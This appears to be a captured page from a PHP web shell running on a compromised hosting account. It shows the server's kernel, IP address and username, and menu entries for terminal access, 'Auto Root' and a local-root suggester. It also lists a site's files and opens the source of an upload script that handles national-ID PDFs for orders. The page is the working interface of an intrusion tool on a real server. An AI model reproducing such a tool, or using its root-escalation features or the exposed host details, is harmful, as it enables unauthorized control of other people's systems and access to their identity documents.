Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.150
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
list /
Delete
Unzip
Name
Size
Permission
Date
Action
css
[ DIR ]
drwxr-xr-x
2025-09-13 05:52
dashboard
[ DIR ]
drwxr-xr-x
2025-09-13 00:01
dist
[ DIR ]
drwxr-xr-x
2025-09-12 22:23
font-awesome
[ DIR ]
drwxr-xr-x
2025-09-13 03:45
fonts
[ DIR ]
drwxr-xr-x
2025-09-13 06:12
includes
[ DIR ]
drwxr-xr-x
2025-09-13 02:41
light
[ DIR ]
drwxr-xr-x
2025-09-13 06:11
list
[ DIR ]
drwxr-xr-x
2025-09-12 17:34
simple-line-icons
[ DIR ]
drwxr-xr-x
2025-09-12 22:52
ti-icons
[ DIR ]
drwxr-xr-x
2025-09-13 02:11
typeahead.js
[ DIR ]
drwxr-xr-x
2025-09-12 19:06
wp
[ DIR ]
drwxr-xr-x
2025-09-13 06:24
TonnyBanglaMJ-Bold.woff
37.41
KB
-rw-r--r--
2025-05-27 07:33
TonnyBanglaMJ-Regular.ttf
69.59
KB
-rw-r--r--
2025-05-27 07:33
admin_file_upload.php
2.96
KB
-rw-r--r--
2024-11-16 10:37
balance_add_remove.php
2.83
KB
-rw-r--r--
2024-10-26 14:38
configuration.php
250
B
-rw-r--r--
2024-12-04 06:50
fontawesome-webfont.ttf
134.96
KB
-rw-r--r--
2023-12-20 13:06
footer-20250913062402.php
0
B
-rw-r--r--
2025-09-12 17:08
footer.php
0
B
-rw-r--r--
2025-09-12 17:08
glyphicons-halflings-regular.svg
106.19
KB
-rw-r--r--
2023-12-20 13:06
glyphicons-halflings-regular.woff
22.88
KB
-rw-r--r--
2023-12-20 13:06
googlee6fd02d83edbe9eb.html
53
B
-rw-r--r--
2025-08-21 04:56
nibondon_make.txt
2
B
-rw-r--r--
2025-08-20 19:12
update_marquee.php
4.88
KB
-rw-r--r--
2024-10-27 17:24
Save
Rename
<?php session_start(); include_once("includes/configuration.php"); // Function to generate a random string (24 characters) function generateRandomString($length = 24) { return bin2hex(random_bytes($length / 2)); } if (isset($_FILES['pdf'])) { $targetDir = "../pdf/"; $response = []; foreach ($_FILES['pdf']['name'] as $key => $name) { $pdf = [ 'name' => $_FILES['pdf']['name'][$key], 'tmp_name' => $_FILES['pdf']['tmp_name'][$key], 'error' => $_FILES['pdf']['error'][$key], 'size' => $_FILES['pdf']['size'][$key] ]; // Validate the file type $fileType = strtolower(pathinfo($pdf["name"], PATHINFO_EXTENSION)); if ($fileType !== "pdf") { $response[] = "Invalid file type for: " . htmlspecialchars($pdf['name']); continue; } // Extract the numeric part from the nid $pdfNameWithoutExtension = pathinfo($pdf["name"], PATHINFO_FILENAME); preg_match('/\d+/', $pdfNameWithoutExtension, $matches); // Extract numeric part $nidNumber = $matches[0] ?? null; if (!$nidNumber) { $response[] = "No valid numeric NID found in: " . htmlspecialchars($pdf['name']); continue; } // Check for matching order in the database $sql = "SELECT id, status FROM order_list WHERE nid LIKE CONCAT('%', ?, '%') AND status != 'success'"; $stmt = $conn->prepare($sql); $stmt->bind_param("s", $nidNumber); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); $orderId = $row['id']; // Generate a random file name $randomFileName = generateRandomString() . ".pdf"; $targetFile = $targetDir . $randomFileName; $inserData = "pdf/" . $randomFileName; // Move the uploaded file to the target directory if (move_uploaded_file($pdf["tmp_name"], $targetFile)) { // Update the database $updateSql = "UPDATE order_list SET file_one = ?, complete_time = CURRENT_TIMESTAMP, status = 'success' WHERE id = ?"; $updateStmt = $conn->prepare($updateSql); $updateStmt->bind_param("si", $inserData, $orderId); if ($updateStmt->execute()) { $response[] = "Success: " . htmlspecialchars($pdf['name']); } else { $response[] = "Error updating database for: " . htmlspecialchars($pdf['name']); } $updateStmt->close(); } else { $response[] = "Error moving file: " . htmlspecialchars($pdf['name']); } } else { $response[] = "No matching order or already completed for: " . htmlspecialchars($pdf['name']); } $stmt->close(); } echo json_encode(['status' => 'success', 'message' => $response]); } $conn->close();